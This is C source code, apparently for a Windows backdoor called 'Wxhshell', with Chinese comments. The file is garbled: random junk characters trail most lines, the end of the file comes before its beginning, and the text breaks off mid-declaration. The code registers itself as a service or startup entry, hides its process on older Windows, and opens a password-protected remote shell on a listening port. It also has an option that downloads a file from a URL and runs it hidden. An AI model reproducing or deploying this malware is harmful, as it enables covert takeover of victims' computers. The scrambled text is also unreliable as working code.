ULONG InheritedFromUniqueProcessId; _l,Z38
} PROCESS_BASIC_INFORMATION; I>3]4mI*a
Hb+#*42v
PROCNTQSIP NtQueryInformationProcess; ?|8Tgs@+
?xo,)``
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y;Zfz~z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0oJ^a^|
CU;nrd "
HANDLE hProcess; h]MVFn{
PROCESS_BASIC_INFORMATION pbi; g"&bX4uD)
L@_">'pR
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }J?fJ(
if(NULL == hInst ) return 0; 4QN;o%,
{e%abr_B
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tN{t-xUgk
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !TOi]`vqc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yUW&Wgc=:
]k:m2$le
if (!NtQueryInformationProcess) return 0; 6)U&XWH0
3NN'E$"3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xNm32~
if(!hProcess) return 0; <s>/< kW:
D' `"_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M#cr*%
p}A4K#G
CloseHandle(hProcess); Jo3(bl%u
>NRz*h #
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )6Q0f
if(hProcess==NULL) return 0; 8}{o2r@
,GJ>vT)
HMODULE hMod; 3> #mO}\
char procName[255]; H~|%vjH
unsigned long cbNeeded; j 3MciQ`
!Gp3/<"Wy$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p,iCM?[|
A<Z5
CloseHandle(hProcess); B`B%:#
mp,e9Nd;
if(strstr(procName,"services")) return 1; // 以服务启动 !049K!rP{
bkwa{V
return 0; // 注册表启动 T_x+sv=|X!
} cvUut^CdK
Ejms)JK+
// 主模块 2d2@ J{
int StartWxhshell(LPSTR lpCmdLine) 2]} Uov
{ Ok>(>K<r
SOCKET wsl; %x6Ov\s2
BOOL val=TRUE; !p,hy`
int port=0; =kb6xmB^t
struct sockaddr_in door; Z|(c(H2
tw/#ENo
if(wscfg.ws_autoins) Install(); :@ E1Pun?
tP`G]BCbt
port=atoi(lpCmdLine); A!{.|x[S44
>HPvgR/#BY
if(port<=0) port=wscfg.ws_port;
_@!QY
X&(ERY,h
WSADATA data; x_<bK$OU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (9}eF)+O
xegQRc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V3mjbH>F
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R3j#WgltP
door.sin_family = AF_INET; VyWYfPK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); I
f3{E
door.sin_port = htons(port); `z}vONXpAX
N^\2
_T
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rX33s
closesocket(wsl); %o@['9U[j
return 1; a|QE *s.
} [0u.}c;(
]$~Fzs
if(listen(wsl,2) == INVALID_SOCKET) { _ }E-~I>
closesocket(wsl); ]<kupaRQ
return 1; h
`\$sT!Z
} O3kg
Wxhshell(wsl); K`QOU-M@}
WSACleanup(); 0]T.Lh$3
k0|`y U
return 0; fvcW'T}r
xF(
bS+(o
} s\'y-UITi1
+yf(Rs)!
// 以NT服务方式启动 wMb)6YZs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C.J`8@a]?
{ iq"ob8.
DWORD status = 0; w9RF2J
DWORD specificError = 0xfffffff; |[S90Gw]
vBh;
serviceStatus.dwServiceType = SERVICE_WIN32; pOC% oj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sm 's-gD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #zON_[+s9
serviceStatus.dwWin32ExitCode = 0; _u&>&,:q
serviceStatus.dwServiceSpecificExitCode = 0; t})lr\
serviceStatus.dwCheckPoint = 0; U1ZIuDg'E
serviceStatus.dwWaitHint = 0; #6Jc}g<?g
E{tx/$f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L0rip5[;d
if (hServiceStatusHandle==0) return; B:4Ka]{YO
eR:b=%T8
status = GetLastError(); &&=[Ivv
if (status!=NO_ERROR) V=pMq?Nr
{ pSHSgd~&
serviceStatus.dwCurrentState = SERVICE_STOPPED; lDN"atSf
serviceStatus.dwCheckPoint = 0; |]`hXr
serviceStatus.dwWaitHint = 0; *LANGQ"2(i
serviceStatus.dwWin32ExitCode = status; >F1G!#$0
serviceStatus.dwServiceSpecificExitCode = specificError; (Uk>?XAr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cyq?5\ a
return; [4sEVu}
} zh\p
HPg3`Ul
serviceStatus.dwCurrentState = SERVICE_RUNNING; _;56^1'T
serviceStatus.dwCheckPoint = 0; lbQQtpEKO
serviceStatus.dwWaitHint = 0; vw2`:]Q+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ui:=
} $B;_Jo\|
hoa7
// 处理NT服务事件,比如:启动、停止 'OwyyPBF
VOID WINAPI NTServiceHandler(DWORD fdwControl) &(EHq
{ ]hA,LY f
switch(fdwControl) kH'p\9=
{ .`jo/,?+O
case SERVICE_CONTROL_STOP: "w Af.=F
serviceStatus.dwWin32ExitCode = 0; J'b<z.OW
serviceStatus.dwCurrentState = SERVICE_STOPPED; $&{ti.l
serviceStatus.dwCheckPoint = 0; y%S1ZTScO
serviceStatus.dwWaitHint = 0; 7FLXx?nLY
{ !*aPEf270
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~!T3APGU
} Wy4$*$
return; VIC0}LT0R
case SERVICE_CONTROL_PAUSE: K{@3\5<
serviceStatus.dwCurrentState = SERVICE_PAUSED; UDy(dn>J:J
break; <F;v`h|+S
case SERVICE_CONTROL_CONTINUE: f$.?$
serviceStatus.dwCurrentState = SERVICE_RUNNING; ).5RPAP
break; 0V$k7H$Z
case SERVICE_CONTROL_INTERROGATE: k1^\|
break; &;E5[jO^D
}; Tlq-m2]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .1yT*+`
} )? =YT
%'
$o"
// 标准应用程序主函数 /J3ZL[o?Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ht =P\E
{ Su8|R"qU
|&3x#1A
// 获取操作系统版本 :O-iykXyI
OsIsNt=GetOsVer(); uR;gVO+QC
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^Hrn ]
,](:<A)W&
// 从命令行安装 31WC=ur5
if(strpbrk(lpCmdLine,"iI")) Install(); `'I{U5;e
~]HN9R^&
// 下载执行文件 dq\FBwfe
if(wscfg.ws_downexe) { m<rhIq
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tZyo`[La
WinExec(wscfg.ws_filenam,SW_HIDE); 8uNULob
} Cx<0 H
/./"x~@
if(!OsIsNt) { {q%Sx*k9[
// 如果时win9x,隐藏进程并且设置为注册表启动 #KxbM-1=
HideProc(); h!rM^
StartWxhshell(lpCmdLine); *&BnF\?m
} oA] KE"T
else O7d$YB_'
if(StartFromService()) rxnFrx
// 以服务方式启动 H}hFFI)#Oo
StartServiceCtrlDispatcher(DispatchTable); ?BA]7M(,4
else Tm}rH]F&
// 普通方式启动 4y:]DC"
StartWxhshell(lpCmdLine); S$TmZk=
W%<LTWOc
return 0; E`int?C!
} {S/yL[S.
c'uhK8|
Snp|!e
!oPq?lW9
=========================================== +T/FeVQ
Kl7WQg,XOi
~5Pb&+<$
1"Z@Q`}
}En
**9x?s
" ZkL8 e
NBl+_/2'w
#include <stdio.h> k@zy
#include <string.h> W} WI; cI
#include <windows.h> ]Chj T}
#include <winsock2.h> fjvN$NgVs
#include <winsvc.h> ahx>q
#include <urlmon.h> GjoIm?
f}g\D#`]/
#pragma comment (lib, "Ws2_32.lib") rpeJkG@+
#pragma comment (lib, "urlmon.lib") S$KFf=0
DPi_O{W>
#define MAX_USER 100 // 最大客户端连接数 zvABU+{jD
#define BUF_SOCK 200 // sock buffer F,
U*yj
#define KEY_BUFF 255 // 输入 buffer hxce\OuU0h
*8~86u GU
#define REBOOT 0 // 重启 c/c$D;T
#define SHUTDOWN 1 // 关机 ~l;[@jsw F
ga?*DI8w
#define DEF_PORT 5000 // 监听端口 (&/2\0QV
f0Bto/,>~
#define REG_LEN 16 // 注册表键长度 *s@Qtgu
#define SVC_LEN 80 // NT服务名长度 !9 fz(9
P[s8JDqu
// 从dll定义API >S$Z
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [+O"<Ua
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y*mbjyt[?X
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (sVi\R
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l5L.5$N
ySI~{YVM
// wxhshell配置信息 eQQ>
struct WSCFG { j xYc2
int ws_port; // 监听端口 =8U&[F
char ws_passstr[REG_LEN]; // 口令 qI^
/"k*5
int ws_autoins; // 安装标记, 1=yes 0=no
4CGPOc
char ws_regname[REG_LEN]; // 注册表键名 Z7 E
char ws_svcname[REG_LEN]; // 服务名 Df3rV '/~
char ws_svcdisp[SVC_LEN]; // 服务显示名 @&[T _l
char ws_svcdesc[SVC_LEN]; // 服务描述信息 1S@vGq}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qJ0fQI\
int ws_downexe; // 下载执行标记, 1=yes 0=no V!)O6?l
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" odIZo|dv
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `^lYw:xA
aZ\UrV4,
}; y8fsveX
^ns@O+Fk
// default Wxhshell configuration *Q1~S]g
struct WSCFG wscfg={DEF_PORT, 7RZh<